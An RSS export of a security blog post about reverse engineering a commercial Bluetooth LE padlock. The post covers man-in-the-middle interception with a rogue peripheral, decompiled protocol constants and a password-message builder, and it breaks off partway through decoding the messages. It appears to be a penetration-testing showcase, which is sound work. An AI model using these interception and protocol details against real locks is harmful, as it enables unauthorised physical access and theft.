<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:googleplay="http://www.google.com/schemas/play-podcasts/1.0"><channel><title><![CDATA[Cybervelia]]></title><description><![CDATA[We don't post often, but when we do, it's pure gold.]]></description><link>https://blog.cybervelia.com</link><image><url>https://substackcdn.com/image/fetch/$s_!0s_D!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F735d8a2b-6fd1-4539-b171-68381b70ba29_260x260.png</url><title>Cybervelia</title><link>https://blog.cybervelia.com</link></image><generator>Substack</generator><lastBuildDate>Thu, 30 Apr 2026 00:18:33 GMT</lastBuildDate><atom:link href="https://blog.cybervelia.com/feed" rel="self" type="application/rss+xml"/><copyright><![CDATA[Cybervelia Ltd]]></copyright><language><![CDATA[en]]></language><webMaster><![CDATA[cybervelia@substack.com]]></webMaster><itunes:owner><itunes:email><![CDATA[cybervelia@substack.com]]></itunes:email><itunes:name><![CDATA[Theodoros Danos]]></itunes:name></itunes:owner><itunes:author><![CDATA[Theodoros Danos]]></itunes:author><googleplay:owner><![CDATA[cybervelia@substack.com]]></googleplay:owner><googleplay:email><![CDATA[cybervelia@substack.com]]></googleplay:email><googleplay:author><![CDATA[Theodoros Danos]]></googleplay:author><itunes:block><![CDATA[Yes]]></itunes:block><item><title><![CDATA[Reversing and Unlocking a BLE Padlock]]></title><description><![CDATA[A basic testing showcase of a commercial BLE-only padlock.]]></description><link>https://blog.cybervelia.com/p/reversing-and-unlocking-a-ble-padlock</link><guid isPermaLink="false">https://blog.cybervelia.com/p/reversing-and-unlocking-a-ble-padlock</guid><pubDate>Mon, 06 Apr 2026 14:34:44 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/969d702c-6405-4ece-b381-721089b7796b_1536x1018.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3>Introduction</h3><p>In this article, we analyze a commercial padlock named Anboud and walk through the key phases that a security tester should follow when assessing a BLE enabled device.</p><p>Throughout the article series, we will use BLE:Bit, an in house tool we developed in 2020 that has helped uncover Bluetooth Low Energy vulnerabilities ever since.</p><p><strong>How the BLE:Bit Controller works:</strong></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!KaSN!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F061f6789-85f2-4a9f-b8ea-b2c35bceac88_1024x768.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!KaSN!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F061f6789-85f2-4a9f-b8ea-b2c35bceac88_1024x768.jpeg 424w, https://substackcdn.com/image/fetch/$s_!KaSN!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F061f6789-85f2-4a9f-b8ea-b2c35bceac88_1024x768.jpeg 848w, https://substackcdn.com/image/fetch/$s_!KaSN!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F061f6789-85f2-4a9f-b8ea-b2c35bceac88_1024x768.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!KaSN!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F061f6789-85f2-4a9f-b8ea-b2c35bceac88_1024x768.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!KaSN!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F061f6789-85f2-4a9f-b8ea-b2c35bceac88_1024x768.jpeg" width="1024" height="768" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/061f6789-85f2-4a9f-b8ea-b2c35bceac88_1024x768.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:768,&quot;width&quot;:1024,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!KaSN!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F061f6789-85f2-4a9f-b8ea-b2c35bceac88_1024x768.jpeg 424w, https://substackcdn.com/image/fetch/$s_!KaSN!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F061f6789-85f2-4a9f-b8ea-b2c35bceac88_1024x768.jpeg 848w, https://substackcdn.com/image/fetch/$s_!KaSN!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F061f6789-85f2-4a9f-b8ea-b2c35bceac88_1024x768.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!KaSN!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F061f6789-85f2-4a9f-b8ea-b2c35bceac88_1024x768.jpeg 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The BLE:Bit Controller is an Android application that communicates with its accompanying Java server, which runs on a computer such as a Raspberry Pi and is built on the BLE:Bit SDK.</p><p>When the application starts, the proxy settings must first be configured. Once the controller connects to the Java server, the BLE:Bit Central and BLE:Bit Peripheral devices attached to the Raspberry Pi can be controlled through the Android application by way of that server.</p><p>Using Controller version 1.0, we can inspect captured data and replay it to the peer device. We can also replay messages after modifying their contents.</p><h3>Attack Scenario</h3><p>We tested a smart lock that becomes active when pressed and then waits for a client to connect. The lock is supported by both Android and iOS applications. Once the Android application discovers the device, it connects to the lock, and pressing the unlock button in the vendor&#8217;s application unlocks it.</p><p>Our initial goal is to perform a man in the middle attack in order to better understand the application layer protocol used between the Android application and the BLE enabled device. To do this, we use both BLE:Bit Central and BLE:Bit Peripheral.</p><p>Both BLE:Bit devices are connected to a Raspberry Pi, which hosts the BLE:Bit server, as shown below.</p><p>We begin by launching the server with the following command:</p><pre><code><code>java -jar BLEBit-server.jar</code></code></pre><p>By default, the server listens on TCP port 9090. This information is required when configuring the BLE:Bit Controller Android application.</p><p>The image below shows the BLE:Bit configuration page. During setup, several options can be selected, including whether to include scan data. This matters because scan data often contains information that is different from the advertising data. The rogue BLE:Bit Peripheral must know exactly which data to advertise. If any required advertising data is omitted, the vendor&#8217;s Android application may fail to connect to the rogue device, or it may not connect at all.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!4vzQ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38abf89d-032d-4fb9-997c-ec733402df02_576x1024.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!4vzQ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38abf89d-032d-4fb9-997c-ec733402df02_576x1024.png 424w, https://substackcdn.com/image/fetch/$s_!4vzQ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38abf89d-032d-4fb9-997c-ec733402df02_576x1024.png 848w, https://substackcdn.com/image/fetch/$s_!4vzQ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38abf89d-032d-4fb9-997c-ec733402df02_576x1024.png 1272w, https://substackcdn.com/image/fetch/$s_!4vzQ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38abf89d-032d-4fb9-997c-ec733402df02_576x1024.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!4vzQ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38abf89d-032d-4fb9-997c-ec733402df02_576x1024.png" width="300" height="533.3333333333334" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/38abf89d-032d-4fb9-997c-ec733402df02_576x1024.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1024,&quot;width&quot;:576,&quot;resizeWidth&quot;:300,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!4vzQ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38abf89d-032d-4fb9-997c-ec733402df02_576x1024.png 424w, https://substackcdn.com/image/fetch/$s_!4vzQ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38abf89d-032d-4fb9-997c-ec733402df02_576x1024.png 848w, https://substackcdn.com/image/fetch/$s_!4vzQ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38abf89d-032d-4fb9-997c-ec733402df02_576x1024.png 1272w, https://substackcdn.com/image/fetch/$s_!4vzQ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38abf89d-032d-4fb9-997c-ec733402df02_576x1024.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">BLE:Bit Controller &#8211; Config Page</figcaption></figure></div><p>When we click connect, the BLE:Bit Controller initiates a connection to the BLE:Bit server that we have started previously on our Raspberry Pi.</p><p>Then, we open the vendor&#8217;s android application in order to communicate with our rogue station and intercept any BLE traffic.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!8mjd!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ad2d5a4-0167-4f84-b960-d100b5fb33ab_473x1024.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!8mjd!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ad2d5a4-0167-4f84-b960-d100b5fb33ab_473x1024.jpeg 424w, https://substackcdn.com/image/fetch/$s_!8mjd!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ad2d5a4-0167-4f84-b960-d100b5fb33ab_473x1024.jpeg 848w, https://substackcdn.com/image/fetch/$s_!8mjd!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ad2d5a4-0167-4f84-b960-d100b5fb33ab_473x1024.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!8mjd!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ad2d5a4-0167-4f84-b960-d100b5fb33ab_473x1024.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!8mjd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ad2d5a4-0167-4f84-b960-d100b5fb33ab_473x1024.jpeg" width="299" height="647.3065539112051" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7ad2d5a4-0167-4f84-b960-d100b5fb33ab_473x1024.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1024,&quot;width&quot;:473,&quot;resizeWidth&quot;:299,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!8mjd!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ad2d5a4-0167-4f84-b960-d100b5fb33ab_473x1024.jpeg 424w, https://substackcdn.com/image/fetch/$s_!8mjd!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ad2d5a4-0167-4f84-b960-d100b5fb33ab_473x1024.jpeg 848w, https://substackcdn.com/image/fetch/$s_!8mjd!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ad2d5a4-0167-4f84-b960-d100b5fb33ab_473x1024.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!8mjd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7ad2d5a4-0167-4f84-b960-d100b5fb33ab_473x1024.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Companion App</figcaption></figure></div><p>When the Android application is opened, it scans for nearby known devices that have previously been paired by checking their Bluetooth device addresses. If a known device is within range, the application automatically initiates a connection. In this case, the device on the other end will be our rogue BLE:Bit Peripheral.</p><p>The traffic can then be intercepted using the BLE:Bit Controller application.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!WGKf!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a6a5a2b-ca19-4a3a-834d-9b39f335ef4b_576x1024.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!WGKf!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a6a5a2b-ca19-4a3a-834d-9b39f335ef4b_576x1024.png 424w, https://substackcdn.com/image/fetch/$s_!WGKf!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a6a5a2b-ca19-4a3a-834d-9b39f335ef4b_576x1024.png 848w, https://substackcdn.com/image/fetch/$s_!WGKf!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a6a5a2b-ca19-4a3a-834d-9b39f335ef4b_576x1024.png 1272w, https://substackcdn.com/image/fetch/$s_!WGKf!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a6a5a2b-ca19-4a3a-834d-9b39f335ef4b_576x1024.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!WGKf!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a6a5a2b-ca19-4a3a-834d-9b39f335ef4b_576x1024.png" width="342" height="608" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2a6a5a2b-ca19-4a3a-834d-9b39f335ef4b_576x1024.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1024,&quot;width&quot;:576,&quot;resizeWidth&quot;:342,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!WGKf!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a6a5a2b-ca19-4a3a-834d-9b39f335ef4b_576x1024.png 424w, https://substackcdn.com/image/fetch/$s_!WGKf!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a6a5a2b-ca19-4a3a-834d-9b39f335ef4b_576x1024.png 848w, https://substackcdn.com/image/fetch/$s_!WGKf!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a6a5a2b-ca19-4a3a-834d-9b39f335ef4b_576x1024.png 1272w, https://substackcdn.com/image/fetch/$s_!WGKf!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2a6a5a2b-ca19-4a3a-834d-9b39f335ef4b_576x1024.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Traffic Interception &#8211; MiTM</figcaption></figure></div><p>The screen shows the different characteristics as well as the values being used. The W stands for Write and N stands for Notification. Write means, the vendor&#8217;s android app wants to send a message to the other peer (Lock), and Notification means the Lock wish to send a message back to the other peer device (vendor&#8217;s android app).</p><h3>Understanding the Protocol</h3><p>In order to understand the protocol, a bit of reverse engineer is required, targeting the protocol and the companion app.</p><p>The Reverse engineering of application was trivial as no-stripping has been performed to APK. Below we can see part of the class (com.chltec.base_blelock.module.protocol.BleLockProtocol) that contains some of the fields of the custom BLE protocol:</p><p>package com.chltec.base_blelock.module.protocol;</p><p>The status codes:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">    public static final byte BLELOCK_STATE_CLOSE = (byte) 0;    // 0
    public static final byte BLELOCK_STATE_OPEN = (byte) 1;     // 1
    public static final byte CLOSE_BLELOCK = (byte) 2;          // 2
    public static final byte COMMAND_AUTH_PWD = (byte) 65;      // 41
    public static final byte COMMAND_ENERGY = (byte) 32;        // 20
    public static final byte COMMAND_KEY_OPERATE_PWD = (byte) 80; // 50
    public static final byte COMMAND_OPERATE_LOCK = (byte) 16;  // 10
    public static final byte COMMAND_SETTING_PWD_MODE = (byte) 96; // 60
    public static final byte COMMAND_SET_PASSWORD = (byte) 64;  // 40
    public static final byte COMMAND_STATUS = (byte) 48;        // 30
    public static final byte OPEN_BLELOCK = (byte) 1;           // 1
    public static final byte REQUEST_ID = (byte) 85;            // 55
    public static final byte RESPOND_ID = (byte) -86;           // aa</code></pre></div><p>Method used for Setting Message for Password Authentication Message:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">    public static byte[] buildSetAuthPassword(int password) {
        ByteBuffer byteBuffer = ByteBuffer.allocate(6);
        byteBuffer.put(REQUEST_ID);
        byteBuffer.put(COMMAND_SET_PASSWORD);
        byteBuffer.put(ByteUtil.hexStringToByteArray(String.format("%06x", new Object[]{Integer.valueOf(password)})));
        byteBuffer.put(checkSum(byteBuffer.array()));
        Log.d(AppConstants.DEBUG_TAG, new String(Hex.encodeHex(byteBuffer.array())));
        return byteBuffer.array();
    }</code></pre></div><p>We can start decoding the protocol messages one by one starting from the very first message. It is sent from the master to the slave, in this case, that is the android application to smart lock.</p><p><strong>Message 1:</strong> 0x01, 0x00.</p><p>The android application needs to enable notifications in order to be able to receive any value updates from the slave.</p><p><strong>Message 2:</strong></p><p>The message is deconstructed as shown below:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!GhK6!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c26b070-d6c3-4de9-8985-3754632f30b4_756x288.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!GhK6!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c26b070-d6c3-4de9-8985-3754632f30b4_756x288.png 424w, https://substackcdn.com/image/fetch/$s_!GhK6!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c26b070-d6c3-4de9-8985-3754632f30b4_756x288.png 848w, https://substackcdn.com/image/fetch/$s_!GhK6!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c26b070-d6c3-4de9-8985-3754632f30b4_756x288.png 1272w, https://substackcdn.com/image/fetch/$s_!GhK6!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c26b070-d6c3-4de9-8985-3754632f30b4_756x288.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!GhK6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c26b070-d6c3-4de9-8985-3754632f30b4_756x288.png" width="756" height="288" 